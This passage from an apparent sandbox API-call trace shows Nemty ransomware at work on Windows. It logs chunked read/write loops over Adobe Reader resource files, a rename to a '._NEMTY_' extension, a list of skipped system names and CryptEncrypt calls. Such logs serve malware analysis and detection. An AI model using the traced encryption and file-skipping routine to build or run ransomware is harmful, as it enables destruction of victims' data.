lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0201.378] CloseHandle (hObject=0xffffffff) returned 0 [0201.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0201.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0201.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0201.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0201.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0201.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0201.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0201.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0201.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0201.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0201.378] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-mac"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-mac._nemty_kgobjgd_")) returned 0 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.385] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-UCS2", cAlternateFileName="AD1CC0~1")) returned 1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2=".") returned 1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="..") returned 1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="...") returned 1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="windows") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="rsa") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="NTDETECT.COM") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="ntldr") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="MSDOS.SYS") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="IO.SYS") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="boot.ini") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="boot.ini") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="AUTOEXEC.BAT") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="ntuser.dat") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="desktop.ini") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="CONFIG.SYS") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="RECYCLER") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="BOOTSECT.BAK") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="bootmgr") returned -1 [0201.385] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="programdata") returned -1 [0201.386] lstrcmpiW (lpString1="Adobe-Japan1-UCS2", lpString2="appdata") returned -1 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-UCS2", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-UCS2", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-UCS2", lpUsedDefaultChar=0x0) returned 17 [0201.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0201.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-UCS2", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-UCS2", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-UCS2", lpUsedDefaultChar=0x0) returned 17 [0201.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0201.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-UCS2", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-UCS2", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-UCS2", lpUsedDefaultChar=0x0) returned 17 [0201.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-UCS2", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-UCS2", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-UCS2", lpUsedDefaultChar=0x0) returned 17 [0201.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0201.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0201.386] Sleep (dwMilliseconds=0x5) [0201.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2bafdbf0, dwHighDateTime=0x1d561e8)) [0201.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2bafdbf0, dwHighDateTime=0x1d561e8)) [0201.394] GetLastError () returned 0x5 [0201.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0201.394] GetLastError () returned 0x5 [0201.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0201.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0201.394] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0201.394] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0201.394] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0201.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0201.394] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="/tdijKAnPNmzSajsDKZq7ikxmKsJ6MYtIlylE03eTS+cfFu2PKMylGHk5bV/vxKC\r\n604hA+N595xXOLM2fycL5WNaswdu0p93bXN7FRNnfOl7XtEFTMQ08UX2eON/V+zd\r\nZYcn0PWr7j0qexv34rpHjmkAKJXzGRcJlfq9zOfkYIrBb4KKkV9+euu15U3UoopC\r\n8FHQYs+V7E87pgpfOqQv7YssKRobiXKjQuQN7NsN/G00r7lZ/sH2R/JHoY7oDc21\r\ngspZvIT5G1tAiQOb80zLkdgaPLtDbYUvJ2SfstTCBGARrpy95btOZKYiE/M6Kt5e\r\nFKHiyDPXDF9az7u+0qyqBg==\r\n", pcchString=0x653e91c) returned 1 [0201.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0201.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0201.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0201.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0201.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0201.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0201.395] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0201.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0201.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.481] WriteFile 